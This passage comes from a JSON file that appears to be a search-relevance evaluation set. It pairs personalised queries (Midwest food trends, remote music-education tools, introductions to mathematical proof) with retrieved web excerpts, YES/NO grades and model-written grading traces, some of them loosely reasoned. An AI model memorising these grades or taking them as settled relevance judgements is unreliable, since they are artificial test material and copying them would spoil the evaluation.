                "model_trace": "Query Decomposition:\n1. {new and interesting food trends or dishes}: The document provides information about Snickers salad, which is a specific dish, not a trend -> ([1], SATISFIED)\n2. {popular in the Midwest region}: The document states that Snickers salad is popular in the Upper Midwest of the United States -> ([1], SATISFIED)\n\nAssessment: The document provides detailed information about a specific dish that is popular in the Midwest region, which aligns with the user's query. YES"
            },
            {
                "grade": "NO",
                "title": "Best Chicago Food: 20+ Iconic Dishes You Must Try in 2023",
                "url": "https://chicagofoodtours.com/blog/chicago-food/",
                "published_date": null,
                "text": "Admit it:  \n Your No. 1 reason for visiting Chicago is the food. Believe me, you\u2019re not the only one that loves Chicago foods. \n The city has been a foodie haven since its inception and publications like   Conde Nast Traveler, Bon Appetit   and   USA Today   have all praised its culinary scene. With over 8,000 restaurants, hundreds of Chicago food festivals, a smattering of Chicago food trucks, and at least one legendary tamale guy, it can be hard to choose where your next meal will be.\u00a0 After all, you want to make sure you take a big bite out of Chicago\u2019s most popular food creations, right?  \n There\u2019s no reason to fear: \n The city is known for certain iconic dishes no visitor to the city can pass up. We\u2019re here to help you focus on the true taste of Chicago and show you where locals go to satisfy their cravings. In this Chicago food guide, we\u2019ll give you a list of 20+ Chicago signature dishes you must try when you\u2019re eating your way through the city.  \n Hungry? Let\u2019s dive in. \n #1 Deep-Dish Pizza from Lou Malnati\u2019s \n   Photo Credit: Chicago Food &amp; City Tours \n Let\u2019s kick things off right - with   THE most famous Chicago dish of all time  . This is why you came to the city! To finally sink your teeth into a thick wedge of melted cheese, personalized toppings and zesty tomato sauce.  \n Why is this so important? \n There are many fierce competitors claiming that they have the best Chicago deep dish pizza, but  Lou Malnati \u2019s is the crown jewel. Its unique butter crust sets it apart and every single inch of the aluminum pan is covered in a lip-smacking layer of high-quality ingredients.  \n Insider Tip:  There\u2019s often a long wait at this Chicago cult classic, but you can sink your teeth into Lou Malnati\u2019s irresistible crust much sooner if you make a late-night trip or visit for an early lunch. Or, even better, join us there on our   Iconic Foods of Chicago Tour   for the VIP experience. \n #2 Chicago Italian Beef Sandwich at Al\u2019s Italian Beef \n   Photo Source: Al's Beef \n There may be debates about who has the best",
                "model_trace": "Query Decomposition:\n1. {new and interesting food trends or dishes}: The document mentions iconic dishes in Chicago, but it's unclear if these are new or emerging trends -> ([1], UNSURE)\n2. {popular in the Midwest region}: The document focuses on Chicago, which is part of the Midwest, but it doesn't necessarily cover the broader Midwest region -> ([2], UNSURE)\n\nAssessment: The document provides information on iconic Chicago dishes, which may be of interest to a food blogger in Chicago. However, it does not specifically address new and interesting food trends or dishes popular in the broader Midwest region. Given the user's intent to find new and interesting trends, the document does not fully satisfy the query. NO."
            },
            {
                "grade": "NO",
                "title": "What Is Midwestern Food, Anyway?",
                "url": "https://midwesterner.substack.com/p/what-is-midwestern-food-anyway",
                "published_date": null,
                "text": "Little Cottage Cafe, Bismarck, North Dakota    Not many people know Midwestern food\u2014the traditions of the whole, expansive region\u2014like the Park Rapids, Minnesota-based writer Amy Thielen.     In 2013, Thielen published \u201c The New Midwestern Table, \u201d a definitive survey of heartland traditions, from South Dakota chislic to Michigan pasties. She\u2019s one of national media\u2019s go-to food writers in the Midwest, filing stories for  Saveur ,  Food &amp; Wine , and the  Wall Street Journal . And she has a new book out\u2014a dinner-party guide called \u201c  Company: The Radically Casual Art of Cooking for Others  .\u201d   The book is worth your time and money, but it isn\u2019t the reason why I called Thielen last month. I called her because she\u2019s been one of my guides to Midwestern foodways since I bought  New Midwestern Table  a decade ago. As I thought about bringing  Midwesterner  back from its long hibernation, I knew I wanted to get her perspective. Writing about Midwestern food, you get the same questions over and over again, and I wanted to hear how  she  answered them.   So, on a cold January morning, we stretched a \u201cquick interview\u201d into an hour-and-a-half-long conversation, covering \u201cChurch lady\u201d roasters, the black walnut (\u201cthe Midwest\u2019s durian,\u201d Amy says), and what you absolutely  can\u2019t  put in a runza if you want to be able to show your face in Omaha. Below is the edited and condensed result. Keep scrolling to get a recipe for the best and most fortifying baked potatoes you\u2019ve ever had, inspired by the ladies of the Pierz Fun House in Pierz, Minnesota.        Photo: Kristin Teig    How\u2019s the weather up there? Boring way to start, I know, but it\u2019s -3 in Kansas City right now, so you must be   freezing   in northern Minnesota.  That\u2019s the question people lead with up here, so, no worries. It\u2019s like everybody\u2019s a meteorologist. It\u2019s predictably\u2014classically\u2014cold. A little bit below zero. That\u2019s normal here. We usually get to thirty below, forty below, and I actually don\u2019t think we\u2019ll get there this year.  What do you cook when the t",
                "model_trace": "Query Decomposition:\n1. {new and interesting food trends or dishes}: The document does not specifically mention new or interesting food trends or dishes -> ([0], UNSURE)\n2. {popular in the Midwest region}: The document is about Midwestern food and traditions, which is relevant to the Midwest region -> ([1], SATISFIED)\n\nAssessment: The document provides a general overview of Midwestern food traditions and mentions some specific dishes like South Dakota chislic and Michigan pasties. However, it does not clearly focus on new and interesting food trends or dishes that a food blogger might want to write about. Given that the key subcomponent {new and interesting food trends or dishes} is tagged [0] and is UNSURE, it should be ignored in the evaluation.\n\nSince the document satisfies the subcomponent {popular in the Midwest region}, it is somewhat helpful but not fully aligned with the user's intent to find new and interesting food trends or dishes.\n\nNO."
            },
            {
                "grade": "YES",
                "title": "3 Midwest Food Trends All Michiganders Must Try",
                "url": "https://wkfr.com/midwest-food-trends-michigan-needs/",
                "published_date": null,
                "text": "There's no place like home! After seven years away I'm so happy to be back in my home state of Michigan; not only because my family is here but also because some of my favorite food is here. Olive burgers, Hot N' Now, and pasties are some of my favorites Michigan delicacies, just to name a few. However, throughout the last\u00a0several years\u00a0I've been living in states like Nebraska and Missouri and I've developed a love of hearty meals and southern fried foods. Although there are many similarities between Midwest meals and Michigan foods, I have found several dishes that I think Michiganders might be curious to try. Let me know if you've ever tried any of the following Midwest foods!     Chili and Cinnamon Rolls- Nebraska Yes, together. This is probably one of the craziest culture shocks I experienced when it comes to Midwest food. Although this dish is a staple of Nebraskan homes, it can also be found throughout states like Indiana and Kansas. Chili and cinnamon rolls is such a staple in the Corn Husker state that not only is the combination served in schools, it's also served in prisons! You'll also find a chili and cinnamon roll combo meal on the menu of local diners and\u00a0the local Nebraska-based fast food joint called Runza . Can you imagine if a major chain like Wendy's served their famous chili with a side of pastry? How bizarre!    Lauren G for TSM  Lauren G for TSM       Springfield-Style Cashew Chicken- Missouri Cashew chicken is my go-to when ordering Chinese food, but I've never had cashew chicken like\u00a0this\u00a0before! David Leong is credited with creating Springfield's signature dish. It's similar to the original cashew chicken, but because it's the south it's made with bits of fried chicken and gravy. Speaking from experience, it's a great hangover meal! You'll now find this dish available at every Chinese restaurant in Springfield and throughout Missouri. Cream Can Supper- Nebraska This is down-home cooking at its finest! It's very similar to a crawfish boil, except instead of a giant cauldron you use a large",
                "model_trace": "Query Decomposition:\n1. {new and interesting food trends or dishes}: The document mentions unique dishes such as Chili and Cinnamon Rolls, Springfield-Style Cashew Chicken, and Cream Can Supper -> ([1], SATISFIED)\n2. {popular in the Midwest region}: The document specifically discusses food trends and dishes from various Midwest states like Nebraska and Missouri -> ([1], SATISFIED)\n3. {recommendations for a food blogger living in Chicago}: The document does not specifically address Chicago or provide recommendations tailored to a food blogger's perspective -> ([0], UNSURE)\n\nAssessment: The document satisfies the key subcomponents related to new and interesting food trends or dishes that are popular in the Midwest region. Although it does not specifically address Chicago or provide tailored recommendations for a food blogger, the content is still highly relevant and useful for the query. YES."
            }
        ]
    },
    {
        "query": "I'm a music teacher in a small town. I'm looking for news on any recent innovations or technologies that are transforming music education and the ways students can learn instruments remotely.",
        "grid_pos": [
            3,
            1
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: News",
        "reasoning_trace": [
            "The queries are designed to test Exa's capabilities in providing relevant and informative news results for personalized queries across a variety of topics that require an understanding of current trends, innovations, and discoveries. The queries involve the user providing some personal context about their interests, expertise, or location, which Exa should use to tailor the news results. The topics span areas like food, music, nature, politics, and biology, which require Exa to have broad knowledge and the ability to identify the most salient and novel information to include in the news results."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Make Music Together Online | JackTrip Labs",
                "url": "https://www.jacktrip.com",
                "published_date": "2022-01-01",
                "text": "Create MusicTogether Onlinein Perfect Harmony Anywhere, anytime with ultra-low latency! Get Started Introducing JackTrip UnlockingNew MusicalPossibilities Connect with other musicians like never before. This cutting-edge technology allows you to perform together live over home internet connections with studio-quality, low-latency audio and patented mixing and processing tools. Say goodbye to the hassle of having to meet in person and take your music-making to the next level from the comfort of your own home. A new, easyway to create Low Latency JackTrip ultra low latency solution beats traditional communication by miles!\u00c2 With latencies under 25 ms, it feels like your band members\u00c2 are in the same room with you, even if you're hundreds of miles\u00c2 apart. High Quality Audio JackTrip users experience the highest resolution full duplex audio their computer/device can support (44.1kHz through 96kH) . Simply put, rehearsing and performing in JackTrip feels and sounds like you are in the recording studio. Ease of Use JackTrip meets musicians wherever their gear finds them. Our desktop app allows you to connect to your favorite interface or microphone, or you can simply connect using your browser and embedded microphone and camera.\u00c2 Audio and Video Low latency, high definition video adds to the most authentic collaborative experience available online. Easy Livestreaming and Recording Easy Livestreaming and RecordingJackTrip\u00e2\u0080\u0099s one-click livestreaming and recording features allow every creator to share their work without needing additional hardware or software. Affordable JackTrip uses free software to connect to the virtual studio and does not require users to purchase additional hardware at any point. The free tier is perfect for a number of uses, and the paid tier allows the entire group to enjoy premium features on a single paid subscription. Get Started We make it easy to perform together online Teach Music Online Private lessons Group lessons Customize your studio Rehearse Remotely Choirs, bands, and orchestras Virt",
                "model_trace": "Query Decomposition:\n1. {recent innovations or technologies transforming music education}: The document discusses JackTrip, a cutting-edge technology that allows musicians to perform together live over the internet with ultra-low latency, which is a significant innovation in music education -> ([1], SATISFIED)\n2. {ways students can learn instruments remotely}: The document mentions that JackTrip can be used for private lessons, group lessons, and remote rehearsals, which directly relates to learning instruments remotely -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "JamKazam",
                "url": "https://jamkazam.com/",
                "published_date": "2020-08-01",
                "text": "JamKazam has spent the last 6 years building the best platform in the world to help musicians play together live and in-sync over the Internet from different locations with high quality audio and video.\n\nRehearse with friends, join open jams, co-write songs, make recordings, broadcast yourself.\n\nBest-in-class programs for K-12, universities, community music schools, and individual instructors.\n\nStream Eventbrite ticketed concerts with remote audio engineering and dynamic camera controls.\n\nPlay with 4,000+ songs, mute/unmute any part, slow playback for practice, change pitch, and record.\n\nCheck out some of our community members\u2019 performances on the JamKazam platform.\n\nRemote Music Rehearsal\n\nPlay music live and in sync with others from different locations\n\nRehearse without travel or rented space\nCo-write music live and interactively\nJoin open sessions to meet and jam with new friends\nRecord master mix and individual stems\nSimulcast live performances free on YouTube, more\n\nMusic Education\n\nTeach students online with a rich set of instruction tools\n\nPrograms for K-12, universities, other schools, and individual instructors\nStudents play live and in sync in ensembles or with instructor with studio-quality audio\nRecording of ensemble and individual performances\nSupport for backing tracks, metronome, more\nWholesale gear packages to minimize student costs\n1:1 tech support to keep students happy and productive\n\nPremium Concert Broadcasts\n\nBroadcast premium ticketed concert performances\n\nBand members in remote locations or together\nEventbrite ticketing\nSecure event viewing page with fan chat\nRemote audio engineering features\nRemote, dynamic camera control features with full band and individual performer views\nGenerous artist revenue retention\n\nPlay With Your Favorite Songs\n\nPlay or sing along with your favorite bands and songs\n\nChoose your favorites from 4,000+ songs\nComplete multitracks, solo or mute any part(s)\nSlow down playback to practice\nChange pitch up or down\nSave custom mixes to use anywhere\nMake and share record",
                "model_trace": "Query Decomposition:\n1. {recent innovations or technologies transforming music education}: The document discusses JamKazam, a platform that allows musicians to play together live and in-sync over the Internet, which is a technological innovation in music education -> ([1], SATISFIED)\n2. {ways students can learn instruments remotely}: The document details how JamKazam supports online teaching with tools for live ensemble playing, recording, and other instructional aids, which directly addresses remote learning of instruments -> ([1], SATISFIED)\n\nAssessment: The document satisfies both subcomponents by providing information on a recent innovation (JamKazam) that is transforming music education and enabling remote learning of instruments. YES."
            },
            {
                "grade": "YES",
                "title": "Forte",
                "url": "https://fortelessons.com/",
                "published_date": "2022-12-08",
                "text": "Don\u2019t just take lessons, make music your Forte. Live, online music lessons for anyone, anywhere. Find the right teacher for your skill level, budget, goals, and musical interests \u2014 then learn from them on a revolutionary music education platform. I want to learn: Accordion Banjo Bass Bass Guitar Bassoon Cello Clarinet Composition / Songwriting Drum set Euphonium Flute Guitar Guitar - Acoustic Guitar - Classical Guitar - Electric Harmonica Harp Horn Mandolin Oboe Other Organ Percussion Piano Recorder Saxophone Sitar Trombone Trumpet Tuba Ukulele Viola Viola da gamba Violin Voice See All Find My Teacher Please enter an instrument or click See All to select one. Invalid selection. Please click See All to see the full list of instruments we currently have. 3502984 minutes of music lessons to date 98 countries with active Forte users 8440 learners have taken a lesson on Forte Why Forte Access to world-class music teachers We offer teachers certified by the world\u2019s most prestigious music institutions, exclusively on Forte Teachers that are right for you Get paired and choose from teachers that align with your skill level, musical aspirations, and budget Radically improved online learning Recorded lessons, dual camera angles, live notebooks, and everything you need; all in one place Start Learning Today A better way to connect: See Our Features Our simple visual interface disappears, rather than distracts, from your experience. Hear The Difference Listen to how Forte Pure Audio is customized to capture the full richness of sound on both ends of the lesson. Trusted by musicians around the world What do we need for a great online lesson experience? Great sound, great video and the ability to communicate naturally. We need a simple interface because we want to focus on our music \u2013 not on adjusting settings or finding our way around. With Forte you log in and you are ready to go. Everything is right in front of you; easy and intuitive.\u201d Dennis Frehse, Senzoku Gakuen College of Music, Japan The sound quality on Forte is exce",
                "model_trace": "Query Decomposition:\n1. {recent innovations or technologies transforming music education}: The document describes a revolutionary music education platform with features like recorded lessons, dual camera angles, live notebooks, and a simple visual interface, which are recent innovations in music education -> ([1], SATISFIED)\n2. {ways students can learn instruments remotely}: The document explicitly mentions live, online music lessons for various instruments, which directly addresses remote learning of instruments -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "Mrs. Walker: The Innovative Music Teacher Transforming ...",
                "url": "https://cactusranch.roundrockisd.org/2024/02/20/%F0%9F%8E%B6-mrs-walker-the-innovative-music-teacher-transforming-learning-through-technology-%F0%9F%8E%B5/",
                "published_date": null,
                "text": "In the bustling halls of our school, amidst the echoes of laughter and the hum of eager learners, one educator stands out as a beacon of innovation and creativity: Mrs. Walker, our fantastic music teacher. With her boundless energy and passion for teaching, Mrs. Walker has revolutionized music education by seamlessly integrating technology into her lessons, creating an environment where students not only learn but also have fun.\nAt the heart of Mrs. Walker\u2019s teaching philosophy lies the belief that technology can be a powerful tool to enhance student learning and engagement. With this vision in mind, she has tirelessly explored innovative ways to incorporate digital tools into her curriculum, providing students with unique opportunities to explore music in a dynamic and interactive way.\nOne of the most remarkable aspects of Mrs. Walker\u2019s approach is her use of gamification to make learning fun and engaging for her students. By transforming traditional music lessons into immersive gaming experiences, she has succeeded in capturing the imagination of her young learners and igniting their passion for music. Through interactive apps and software, such as the one depicted in the picture \ud83d\udcf1, Mrs. Walker guides students through various music skills while they play their recorders, turning practice sessions into exciting adventures.\nThe picture vividly portrays three students deeply engaged in their learning, their faces lit up with enthusiasm as they interact with the lesson on the iPad. With each note played, they progress through the skills at their own pace, receiving instant feedback and encouragement from Mrs. Walker. This personalized approach not only fosters a sense of autonomy and ownership in students but also enables them to develop their musical abilities in a supportive and nurturing environment.\nBeyond the individualized practice sessions, Mrs. Walker also leverages technology to facilitate collaborative learning experiences in the classroom. Through virtual music composition tools and online platforms, she",
                "model_trace": "Query Decomposition:\n1. {recent innovations or technologies transforming music education}: The document discusses Mrs. Walker's use of technology in music education, including gamification and interactive apps -> ([1], SATISFIED)\n2. {ways students can learn instruments remotely}: The document mentions the use of digital tools and online platforms, which could imply remote learning capabilities, but it is not explicitly stated -> ([2], UNSURE)\n\nAssessment: The relevant subcomponent is {recent innovations or technologies transforming music education}, which is satisfied. The document provides specific examples of how technology is being integrated into music education, aligning well with the user's intent to learn about innovative teaching methods. The second subcomponent is not explicitly covered but can be inferred to some extent. Overall, the document is helpful for the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "No Instruments? No Problem! | - A Sound Mind",
                "url": "https://asoundmind.edublogs.org/2020/10/01/no-instruments-no-problem/",
                "published_date": null,
                "text": "Teaching remotely can be a real challenge. Teaching music remotely can seem impossible! Students often don\u2019t have the resources or instruments necessary to participate in traditional activities. However, I\u2019ve found great success in this first month of online learning by using found-percussion. Just like STOMP! students are clapping, slapping, and taping their way to success using anything that they can find.\u00a0 \n  \n \nI was more nervous at the start of this school year that any in recent memory. It wasn\u2019t just the obvious threats, but also the fact that I was feeling like a brand new teacher again. I had no idea what activities to try, I couldn\u2019t estimate pacing, or if I had enough planned. I didn\u2019t know what materials my students had available or how they\u2019d react to the lessons. However, after a little over a month of teaching, I feel like I\u2019ve hit a nice stride in my practice, finding that many of my additional concerns were unwarranted.\n \nUse what you have:\nI have students who take piano lessons in their home and join my class by setting their iPad atop the grand piano in their living room. I also have students who attend my virtual classes from the closet in their room because it\u2019s \u201cquiet.\u201d Inequality and access issues are nothing new in education, but I was really struggling with overcoming it. How can I approach my lessons with equity so that all students can access the content? The answer is all around you. Found percussion is using any object you can find to make music. It\u2019s not strictly atonal, but rhythmic approaches are much easier. I use the video above to introduce the idea, a wonderful collaboration between New York percussionists STOMP! and the world-famous Harlem Globetrotters. In the video, they use stomping (duh) and basketballs (duh) to make a fantastically catchy rhythm. Plus it has dunking, so even if your students aren\u2019t into music, they\u2019ll definitely be entertained.\n \nCup Rhythms:\nOne of my goto units during a normal school year I was drawn to using this early one in the year anyway. The Cup S",
                "model_trace": "Query Decomposition:\n1. [recent innovations or technologies]: The document does not mention any recent innovations or technologies -> ([0], UNSATISFIED)\n2. [transforming music education]: The document discusses innovative methods like found-percussion and using everyday objects to teach music, which can be considered as transforming music education -> ([2], SATISFIED)\n3. [ways students can learn instruments remotely]: The document provides examples of students learning remotely using found-percussion and other creative methods -> ([1], SATISFIED)\n\nAssessment: The document satisfies the subcomponents related to transforming music education and ways students can learn instruments remotely. It does not address recent innovations or technologies explicitly. However, the practical methods discussed can be very useful for a music teacher looking for ways to teach remotely.\n\nYES"
            },
            {
                "grade": "NO",
                "title": "Teaching Music When You Have No Instruments",
                "url": "https://www.adifferentmusician.com/post/teaching-music-when-you-have-no-instruments-what-you-can-use-in-your-classroom",
                "published_date": null,
                "text": "It might seem like a gargantuan task: teach elementary music with few to no instruments or classroom resources\u2026      Whether you\u2019re starting a new program, switching jobs, or managing illness restrictions, teaching music without traditional resources like Orff instruments, percussion, a projector, or even a classroom is a strange and potentially disheartening way to begin the year.     I\u2019m not going to lie- it\u2019s tough. But as someone in that position when I began teaching, and then again during COVID, I want to share with you some of the things I did that gave kids memorable and meaningful musical experiences. On a budget and with limited resources and technology!     In this post, we\u2019ll talk about inexpensive classroom resources and safe activities that will help you make joyful and meaningful music with elementary students. (And we\u2019ll talk a bit more about money/budget after this list!)                     Stuff for your room       I've been teaching a while. When I think about what gets the most mileage with elementary students, it's...        beat/rhythm       art       listening       movement        Lots of seemingly mundane items helped a LOT with these skills, and I'd recommend starting here if you are building a classroom from the ground up, or if you are coming into an environment limited due to COVID restrictions.       \n Here's the list:         Rhythm sticks (dowels work well, too)         Mini and regular sized plastic cups       Also good for beat keeping and rhythm activities, as well as creating routines to match the form of songs. Target, Walmart, and dollar stores will have these.       Bluetooth speaker       Since I subscribe to Spotify, I use my speaker almost more frequently than YouTube for listening. No cords to deal with, and more flexibility with where the sound comes from. I use   this one   from Amazon (no affiliate link) and connect my iPhone. \n                Buckets       Create a bucket band  (    try this playalong!    ), use them as hand drums, or use them in movement routines. ",
                "model_trace": "Query Decomposition:\n1. {recent innovations or technologies}: The document does not mention any recent innovations or technologies -> ([0], UNSATISFIED)\n2. {transforming music education}: The document discusses ways to teach music with limited resources but does not address transformative innovations or technologies -> ([2], UNSATISFIED)\n3. {ways students can learn instruments remotely}: The document does not mention remote learning technologies or methods -> ([0], UNSATISFIED)\n\nAssessment: The document does not satisfy any of the relevant subcomponents related to recent innovations, transformative technologies, or remote learning methods. NO."
            }
        ]
    },
    {
        "query": "I am a middle school math teacher preparing a lesson on mathematical proofs. I'm looking for a journal article that gives a gentle introduction to proof techniques like direct proof, proof by contradiction, and proof by induction, with lots of examples.",
        "grid_pos": [
            3,
            0
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Paper/Journal/Publication",
        "reasoning_trace": [
            "The queries cover a diverse range of topics and interests, including machine learning, biology, mathematics, art, and renewable energy. They are personalized to the user's background and needs, and require accessing specialized technical knowledge to find relevant journal articles. The queries are specific and detailed, testing the search engine's ability to understand context and nuance. Some queries may have clear answers, while others are more open-ended. Overall, these queries aim to challenge the search engine to go beyond simple keyword matching and demonstrate a deeper understanding of the user's intent and the underlying subject matter."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "A hands-on approach to proof and abstraction",
                "url": "https://dl.acm.org/doi/10.1145/1709424.1709443",
                "published_date": null,
                "text": "Abstraction is an important part of mathematics and computer science, and it is a common stumbling point for students learning how to write mathematical proofs. This article outlines simple strategies for making mathematical proof less abstract in the context of the discrete mathematics course.",
                "model_trace": "Query Decomposition:\n1. {journal article}: The document is a journal article -> ([1], SATISFIED)\n2. {gentle introduction to proof techniques like direct proof, proof by contradiction, and proof by induction}: The document mentions strategies for making mathematical proof less abstract but does not specify whether it covers direct proof, proof by contradiction, and proof by induction -> ([2], UNSURE)\n3. {lots of examples}: The document does not specify whether it includes lots of examples -> ([0], UNSURE)\n\nAssessment: The document satisfies the subcomponent {journal article}, but it is unclear if it provides a gentle introduction to specific proof techniques or includes lots of examples. Since the key subcomponents related to proof techniques and examples are not clearly satisfied, the document is likely not helpful for the user's specific needs. NO."
            },
            {
                "grade": "NO",
                "title": "How to Write a Proof",
                "url": "https://www.microsoft.com/en-us/research/uploads/prod/2016/12/How-to-Write-a-Proof.pdf",
                "published_date": null,
                "text": "Authors:\nLeslie Lamport, Equipment Corporation, Palo Alto, California\n\nMathematical notation has improved over the past few centuries. In the seventeenth century, a mathematician might have written There do not exist four positive integers, the last being greater than two, such that the sum of the first two, each raised to the power of the fourth, equals the third raised to that same power.\n\n(1)\n\nHow much easier it is to read the modern version\n\nThere do not exist positive integers x, y, z, and n, with n > 2, such that x n + y n = z n .\n\n(2)\n\nYet, the structure of mathematical proofs has not changed in 300 years.\n\nThe proofs in Newton's Principia differ in style from those of a modern textbook only by being written in Latin. Proofs are still written like essays, in a stilted form of ordinary prose. Formulas written in prose, like (1) , are hard to understand and hard to get right. Proofs written in prose are also hard to understand and hard to get right. Anecdotal evidence suggests that as many as a third of all papers published in mathematical journals contain mistakes-not just minor errors, but incorrect theorems and proofs.\n\nStatement (2) is easier to read than statement (1) for two reasons: variables are given names, and formulas are written in a more structured fashion. The benefits of using names is obvious. The benefit of structure is less obvious; we are so used to formulas like x n + y n = z n that we tend to take their structure for granted, and to think they are easy to read just because they are short. Although the brevity of the formula helps, it is primarily its structure that makes it easier to understand than a prose version. The expression x raised to the power n plus y raised to the power n equals z raised to the power n is quite long, but it is easy to read because of its structure. The same principles that make formulas easier to understand can make proofs easier to understand: proof steps should be referred to by name, and the structure of the proof should be manifest.\n\nThe proof style I advo",
                "model_trace": "Query Decomposition:\n1. {Journal article}: The document is a PDF from Microsoft Research, which may not be a traditional journal article but could still be scholarly -> ([2], SATISFIED)\n2. {Gentle introduction to proof techniques}: The document seems to focus on how to write a proof, which might include an introduction to proof techniques -> ([2], UNSURE)\n3. {Direct proof, proof by contradiction, and proof by induction}: The content provided does not specify if these techniques are covered -> ([0], UNSURE)\n4. {Lots of examples}: The content provided does not indicate if there are many examples -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {Journal article}, which is satisfied. However, the document does not provide clear information on whether it offers a gentle introduction to proof techniques or includes specific techniques like direct proof, proof by contradiction, and proof by induction, with lots of examples. Given the lack of specific information on these key aspects, the document is likely not helpful for the user's specific needs. NO."
            },
            {
                "grade": "NO",
                "title": "How to Write a 21 st Century Proof",
                "url": "https://lamport.azurewebsites.net/pubs/proof.pdf",
                "published_date": null,
                "text": "Authors:\nLeslie Lamport\n\nAbstract\n\nA method of writing proofs is described that makes it harder to prove things that are not true. The method, based on hierarchical structuring, is simple and practical. The author's twenty years of experience writing such proofs is discussed.\n\nIn addition to developing the students' intuition about the beautiful concepts of analysis, it is surely equally important to persuade them that precision and rigor are neither deterrents to intuition, nor ends in themselves, but the natural medium in which to formulate and think about mathematical questions.\n\nMichael Spivak, Calculus [7]\n\n1 Introduction Some 20 years ago, I published an article titled How to Write a Proof in a festschrift in honor of the 60 th birthday of Richard Palais [5] . In celebration of his 80 th birthday, I am describing here what I have learned since then about writing proofs and explaining how to write them.\n\nAs I observed in the earlier article, mathematical notation has changed considerably in the last few centuries. Mathematicians no longer write formulas as prose, but use symbolic notation such as e i\u03c0 + 1 = 0 . On the other hand, proofs are still written in prose pretty much the way they were in the 17 th century. The proofs in Newton's Principia seem quite modern. This has two consequences: proofs are unnecessarily hard to understand, and they encourage sloppiness that leads to errors.\n\nMaking proofs easier to understand is easy. It requires only the simple application of two principles: structure and naming. When one reads a sentence in a prose proof, it is often unclear whether the sentence is asserting a new fact or justifying a previous assertion; and if it asserts a new fact, one has to read further to see if that fact is supposed to be obviously true or is about to be proved. Adding structure makes it clear what the function of each assertion is. If an assertion follows from previously stated facts, in a prose proof it is often unclear what those facts are. Naming all facts makes it easy to tell the r",
                "model_trace": "Query Decomposition:\n1. {gentle introduction to proof techniques}: The document provides a method of writing proofs with hierarchical structuring. However, it does not explicitly mention that it covers introductory proof techniques like direct proof, proof by contradiction, and proof by induction -> ([0], UNSURE)\n2. {includes direct proof, proof by contradiction, and proof by induction}: The document does not specify that it covers these specific proof techniques -> ([0], UNSURE)\n3. {lots of examples}: The document does not indicate that it contains many examples -> ([0], UNSURE)\n\nAssessment: The document focuses on a method of writing proofs and does not clearly address the specific proof techniques or the inclusion of numerous examples, which are crucial for the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "How to teach Mathematical Induction mathematically?",
                "url": "https://matheducators.stackexchange.com/questions/8041/how-to-teach-mathematical-induction-mathematically",
                "published_date": null,
                "text": "I have a pet hypothesis which says that it's easier to explain induction using a non-linear order (sometimes this is called well-founded induction), rather than just natural numbers. \nOf course, it might be plain wrong, because all the people who benefited from this approach tried to understand induction over naturals first. Still, you may want to give it a try (you didn't say how old your little brother is, the example might be too silly, I don't know).\n   An escape from mysterious cave \n  \n  You are an adventurer in a mysterious cave which looks like this (here draw a graph).\n  Unfortunately, your flashlight died (it's pitch dark) and you got lost. \n  \n  However, there is a gentle breeze which indicates, for each passage, in which direction the exit is (here direct each edge so that it becomes a strict poset where the exit(s) is(are) the bottom element(s)) - we have to go against the wind.\n  \n  Prove that you can get away from the cave.\nYou start with \"proofs\" that you can escape from halls near the exit, namely producing explicit paths of length 1, 2, 3, whatever necessary. \nThen explain that you would like to produce such a path for each hall in the cave, but that would be a tedious task (the cave may have huge number of halls; in math it could even be infinite). Instead, we will show how to produce such a path if we know a path from at least one hall closer to exit.\nInduction can be understood as an agreement that such a way of producing paths is just as good as explicit paths.\nNow explain why you need base: you can travel inside the cave all you want, you cannot escape it if there is no exit (draw an example).\nExplain also why you need all the steps: if some corridor collapses, then possibly some parts of the cave might be cut off (draw an example).\n   Heap property \n  \n  We say that a rooted tree (it can be binary, but it's not necessary) has heap property if for any vertex its value is bigger or equal the values of its children.\n  \n  Prove that the root is at least as big as other values in the whole tree",
                "model_trace": "Query Decomposition:\n1. {journal article}: This document is a post on Stack Exchange, not a journal article -> ([1], UNSATISFIED)\n2. {gentle introduction to proof techniques}: The document provides an introduction to mathematical induction, but does not cover direct proof or proof by contradiction -> ([1], UNSATISFIED)\n3. {proof techniques like direct proof, proof by contradiction, and proof by induction}: The document only covers proof by induction -> ([1], UNSATISFIED)\n4. {lots of examples}: The document provides examples for understanding mathematical induction -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {journal article}, {gentle introduction to proof techniques}, and {proof techniques like direct proof, proof by contradiction, and proof by induction}. Since the document does not satisfy these subcomponents, it is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "Four Basic Proof Techniques Used in Mathematics - YouTube",
                "url": "https://www.youtube.com/watch?v=V5tUc-J124s",
                "published_date": null,
                "text": "Thanks to all of you who support me on Patreon. You da real mvps!   $1 per month helps!! :)  https://www.patreon.com/patrickjmt !! Thanks to all of you who support me on Patreon. You da real mvps!   $1 per month helps!! :)  https://www.patreon.com/patrickjmt !! A big THANKS to all of those who support me on Patreon! https://www.patreon.com/patrickjmt\nPart 1: https://youtu.be/KRLBya7x5ZQ\nExtra Proof by Contradiction with some death intrigue (huh?!) https://www.youtube.com/watch?v=rOGqq1O1rzI\\u0026feature=youtu.be\nNew to proving mathematical statements and theorem? I this video I prove the statement 'the sum of two consecutive numbers is odd' using direct proof, proof by contradiction, proof by induction and proof by contrapositive.\n| view_count: 475,295 views | short_view_count: 475K views | num_likes: 8.1K | num_subscribers: 1.34",
